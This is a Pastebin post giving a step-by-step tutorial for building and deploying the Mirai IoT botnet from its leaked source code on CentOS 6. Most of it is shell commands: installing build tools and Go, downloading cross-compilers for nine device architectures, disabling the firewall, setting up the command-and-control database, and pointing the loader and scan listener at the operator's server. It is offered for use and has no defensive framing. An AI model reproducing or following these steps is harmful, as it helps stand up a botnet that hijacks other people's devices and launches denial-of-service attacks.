Advertisement
Sweetening

Untitled

Sep 26th, 2024
32
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.08 KB | None | 0 0
  1. ███╗ ███╗██╗██████╗ █████╗ ██╗ ██████╗ ██████╗ ████████╗███╗ ██╗███████╗████████╗
  2. ████╗ ████║██║██╔══██╗██╔══██╗██║ ██╔══██╗██╔═══██╗╚══██╔══╝████╗ ██║██╔════╝╚══██╔══╝
  3. ██╔████╔██║██║██████╔╝███████║██║ ██████╔╝██║ ██║ ██║ ██╔██╗ ██║█████╗ ██║
  4. ██║╚██╔╝██║██║██╔══██╗██╔══██║██║ ██╔══██╗██║ ██║ ██║ ██║╚██╗██║██╔══╝ ██║
  5. ██║ ╚═╝ ██║██║██║ ██║██║ ██║██║ ██████╔╝╚██████╔╝ ██║ ██║ ╚████║███████╗ ██║
  6. ╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═══╝╚══════╝ ╚═╝
  7.  
  8. ████████╗██╗ ██╗████████╗ ██████╗ ██████╗ ██╗ █████╗ ██╗
  9. ╚══██╔══╝██║ ██║╚══██╔══╝██╔═══██╗██╔══██╗██║██╔══██╗██║
  10. ██║ ██║ ██║ ██║ ██║ ██║██████╔╝██║███████║██║
  11. ██║ ██║ ██║ ██║ ██║ ██║██╔══██╗██║██╔══██║██║
  12. ██║ ╚██████╔╝ ██║ ╚██████╔╝██║ ██║██║██║ ██║███████╗
  13. ╚═╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚══════╝
  14.  
  15. ██████╗███████╗███╗ ██╗████████╗ ██████╗ ███████╗ ██████╗
  16. ██╔════╝██╔════╝████╗ ██║╚══██╔══╝██╔═══██╗██╔════╝ ██╔════╝
  17. ██║ █████╗ ██╔██╗ ██║ ██║ ██║ ██║███████╗ ███████╗
  18. ██║ ██╔══╝ ██║╚██╗██║ ██║ ██║ ██║╚════██║ ██╔═══██╗
  19. ╚██████╗███████╗██║ ╚████║ ██║ ╚██████╔╝███████║ ╚██████╔╝
  20. ╚═════╝╚══════╝╚═╝ ╚═══╝ ╚═╝ ╚═════╝ ╚══════╝ ╚═════╝
  21.  
  22.  
  23. [Note]: This is a new tutorial on "How to setup Mirai" but on centos 6, enjoy!
  24.  
  25. [*Introduction*]
  26. I've posted many ways of setting up mirai, if you can't figure it out now. I don't know what to tell you anymore.
  27. This tutorial is for people to learn how to setup up mirai from source, by source I mean cross compiling and building it from scratch without using the builder. I will be providing a builder I made to suit CentOS 6/RHEL machines.
  28.  
  29. MiraiSource: git clone https://github.com/jgamblin/Mirai-Source-Code
  30.  
  31. Let's begin!
  32. [*Self installing*]
  33. yum update -y
  34. yum install epel-release -y
  35. yum groupinstall "Development Tools" -y
  36. yum install gmp-devel -y
  37. sudo ln -s /usr/lib64/libgmp.so.3 /usr/lib64/libgmp.so.10
  38. yum install gcc gcc-c++ electric-fence sudo git libc6-dev -y
  39.  
  40. ; This will update your box and install all the utilities for mirai.
  41. ; You still need to install goLang for Mirai to work.
  42.  
  43. [*Setting up GoLang*]
  44. cd /tmp
  45. wget https://storage.googleapis.com/golang/go1.5.linux-amd64.tar.gz
  46. tar -zxvf go1.5.linux-amd64.tar.gz && mv go /usr/local && rm -fr go1.5.linux-amd64.tar.gz
  47. ln -s /usr/local/go/bin/go /usr/local/bin/go
  48. ln -s /usr/local/go/bin/godoc /usr/local/bin/godoc
  49. ln -s /usr/local/go/bin/gofmt /usr/local/bin/gofmt
  50. go version
  51. ; Good job! You've set up GoLang successfully!
  52.  
  53. [*Installing the Architectures*]
  54. mkdir /etc/xcompile && cd /etc/xcompile
  55. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2
  56. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2
  57. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2
  58. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2
  59. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2
  60. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2
  61. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2
  62. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2
  63. wget http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2
  64. tar -jxf cross-compiler-armv4l.tar.bz2
  65. tar -jxf cross-compiler-i586.tar.bz2
  66. tar -jxf cross-compiler-m68k.tar.bz2
  67. tar -jxf cross-compiler-mips.tar.bz2
  68. tar -jxf cross-compiler-mipsel.tar.bz2
  69. tar -jxf cross-compiler-powerpc.tar.bz2
  70. tar -jxf cross-compiler-sh4.tar.bz2
  71. tar -jxf cross-compiler-sparc.tar.bz2
  72. tar -jxf cross-compiler-armv6l.tar.bz2
  73. rm *.tar.bz2
  74. mv cross-compiler-armv4l armv4l
  75. mv cross-compiler-i586 i586
  76. mv cross-compiler-m68k m68k
  77. mv cross-compiler-mips mips
  78. mv cross-compiler-mipsel mipsel
  79. mv cross-compiler-powerpc powerpc
  80. mv cross-compiler-sh4 sh4
  81. mv cross-compiler-sparc sparc
  82. mv cross-compiler-armv6l armv6l
  83.  
  84. ; Execute these in your xfce terminal
  85. ; Don't know what I'm talking about? Try this http://prntscr.com/ff55r6
  86. export PATH=$PATH:/etc/xcompile/armv4l/bin
  87. export PATH=$PATH:/etc/xcompile/armv6l/bin
  88. export PATH=$PATH:/etc/xcompile/i586/bin
  89. export PATH=$PATH:/etc/xcompile/m68k/bin
  90. export PATH=$PATH:/etc/xcompile/mips/bin
  91. export PATH=$PATH:/etc/xcompile/mipsel/bin
  92. export PATH=$PATH:/etc/xcompile/powerpc/bin
  93. export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin
  94. export PATH=$PATH:/etc/xcompile/sh4/bin
  95. export PATH=$PATH:/etc/xcompile/sparc/bin
  96. export PATH=$PATH:/etc/xcompile/armv6l/bin
  97. export PATH=$PATH:/usr/local/go/bin
  98. export GOPATH=$HOME/Documents/go
  99.  
  100. [*GoLang Drivers & building debug/release*]
  101. ; Very self explanitory
  102. go get github.com/go-sql-driver/mysql
  103. go get github.com/mattn/go-shellwords
  104. ./build.sh debug telnet
  105.  
  106. [*Obfuscated string*]
  107. ; I'm running Debian 8 x86_64 so this might be diffrent for you, but the ./debug/enc string {Domain.com} wasn't working for me so the fix is below, make sure you're in /mirai/debug
  108. ./enc string changeme.com
  109. ; Now add this to your table.c file.
  110.  
  111. [*Database setup*]
  112. ; Now where going to setup the database permissions and users.
  113. ; If you have iptbales/ip6tables or any firewall install disable it.
  114.  
  115. service iptables stop
  116. /etc/ini.d/iptbales stop
  117.  
  118. [*Database setup*]
  119. /usr/bin/mysql_secure_installation
  120. ;It will ask you to set a password, make sure you remember this.
  121. ;Edit your main.go in /cnc/
  122. ex: 120.0.0.1:3306
  123. ;Once you've done the step above were going to add the database and user perms. follow this link.
  124. ;Create the database first
  125. create database mirai;
  126. ;Next select the database
  127. use mirai
  128. ;Copy and paste this into your terminal. (Not the pastebin link, the actual code on the site.)
  129. http://pastebin.com/BsSWnK7i
  130. ;Set the credentials you used in the ./cnc/main.go file. It should look like this- http://prntscr.com/dnskj5
  131. ;Now your server should be online
  132. Service mysql restart
  133. ;Once you restart the mysql server, go to your debug folder ./mirai/release you will seen a compiled file named cnc execute it.
  134. ./cnc
  135. ;You should see - http://prntscr.com/dnsluv
  136. ;Now your going to have to move the prompt.txt file in mirai main directory into the release folder
  137. ;Now you can login through your ssh client with telnet.
  138.  
  139. [*Loader Setup*]
  140. nano /Mirai-Source-Code/dlr/main.c
  141. ; edit this line "#define HTTP_SERVER utils_inet_addr(127,0,0,1)"
  142. cp /Mirai-Source-Code-master/dlr/release/dlr.* /Mirai-Source-Code-master/loader/bins
  143. nano /Mirai-Source-Code/loader/src/main.c
  144. ; Add your server ip.
  145. chmod 777 build.sh && ./build.sh
  146. nano scanListen.go
  147. ; Edit your server ip.
  148. go build scanListen.go
  149. Now you're done!
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement